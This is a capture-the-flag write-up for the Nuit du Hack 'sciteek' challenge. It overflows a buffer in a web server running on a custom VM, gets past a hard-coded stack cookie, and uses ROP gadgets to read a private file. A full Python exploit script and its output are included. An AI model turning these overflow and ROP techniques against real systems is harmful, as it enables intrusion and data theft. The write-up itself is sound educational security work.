This challenge runs under the NDH VM written specially for this CTF by Jonathan Salwan.
We are told to exploit a web server running at sciteek.nuitduhack.com:4005 to get a file named sciteek-private.txt.
We get a copy of the web server software in the file Web3.ndh which is running in the NDH VM.
$ nc sciteek.nuitduhack.com 4005
GET /
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70Exploit Me if you can 😉
We try to overflow it:
$ nc localhost 4005
GET Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
$
We are immediately disconnected. We need to dig in disassembly to understand why.
0x81e8 > syscall (r0 = 0x0003 – read)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar
[SYSCALL output]: 513
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end
This program uses a hard-coded stack cookie with a value of 0xbeef. If we overflows the buffer (max size 0x200), we will overwrite the cookie and the protection will get triggered.
So we need to send the value of the cookie in your exploit payload:
$ python -c ‘print “A”*512+”\xEF\xBEAB”‘ | nc localhost 4005
[!] Segfault 0x4241 (opcode unknown)
We control the PC register.
Now we need to get the address of our buffer. We add a breakpoint just after the read() syscall.
0x81e4: movb r0, #0x03
0x81e8: syscall[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
…
0x81e4 > movb r0, #3
[BreakPoint 1 – 0x81e8]
0x81e8 > syscall (r0 = 0x0003 – read)
GET /
[SYSCALL output]: 6
[Console]#> show sp
7bf2: d8 84 47 45 54 20 2f 0a 00 00 <- GET /
The beginning of our buffer is at 0x7bf4.
$ python -c ‘print “A”*512+”\xEF\xBE\xf4\x7b”‘ | nc localhost 4005
[!] Segfault 0x7bf4 (NX bit)
Unfortunately NX bit is enabled in this challenge. Against NX protection we need to use ROP.
There is many nice gadgets in the binary. What we need to find is:
– read filename from stdin
– open file with filename in memory
– read file content to memory
– write memory to stdout
generic registers setter
0x8227: pop r4
0x8229: pop r3
0x822b: pop r2
0x822d: pop r1
0x822f: ret
syscall open()
int open(const char *pathname, int flags, mode_t mode);
* [sys_open] r1 = uint16_t *
* r2 = uint16_t
* r3 = uint16_t
0x81d6: syscall
syscall read()
ssize_t read(int fd, void *buf, size_t count);
* [sys_read] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t
0x81e4: movb r0, #0x03
0x81e8: syscall
syscall write()
ssize_t write(int fd, const void *buf, size_t count);
* [sys_write] r1 = uint16_t
* r2 = uint16_t *
* r3 = uint16_t
0x8197: syscall
We can then construct this ROP chain exploit:
import socket
import sys
from struct import pack
if len(sys.argv) != 3:
print '\nUsage:\t./sciteek4005.py [host] [port]'
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
payload = 'sciteek-private.txt\x00\n'
payload += 'A' * (512 - len(payload))
payload += pack("<H", 0xbeef) # stack cookie
payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x0000) # r3 = O_RDONLY
payload += pack("<H", 0x0000) # r2
payload += pack("<H", 0x7bf4) # start of our buffer
payload += pack("<H", 0x81d2) # open, FD will go in r0
payload += pack("<H", 0x8229) # pop r3 / pop r2 / pop r1 / ret
payload += pack("<H", 0x1000) # r3 = count
payload += pack("<H", 0x6000) # r2 = buffer
payload += pack("<H", 0x0000) # dummy
payload += pack("<H", 0x81e0) # mov r1, r0 / read(), r0 contains the count of bytes read
payload += pack("<H", 0x822d) # pop r1 / ret
payload += pack("<H", 0x6000) # r1 = buffer
payload += pack("<H", 0x8187) # mov r3, r0 / mov r2, r1 / movb r1, #0x01 / write()
payload += '\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('%s' %payload);
while 1:
line = s.recv(65536)
if not line:
break
print 'Received', repr(line)
s.close()
Result:
$ python sciteek4005.py sciteek.nuitduhack.com 4005
Received ‘Dear Patrick,\n \nWe found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.\n \nHowever, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business\n, but one of them contains an archive with an explicit name.\n \nWe cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.\n \nSincerely,\n \nDavid Markham.\n’
Received ‘\x1b[91m[!] Segfault 0x0000 (NX bit)\x1b[0m\n’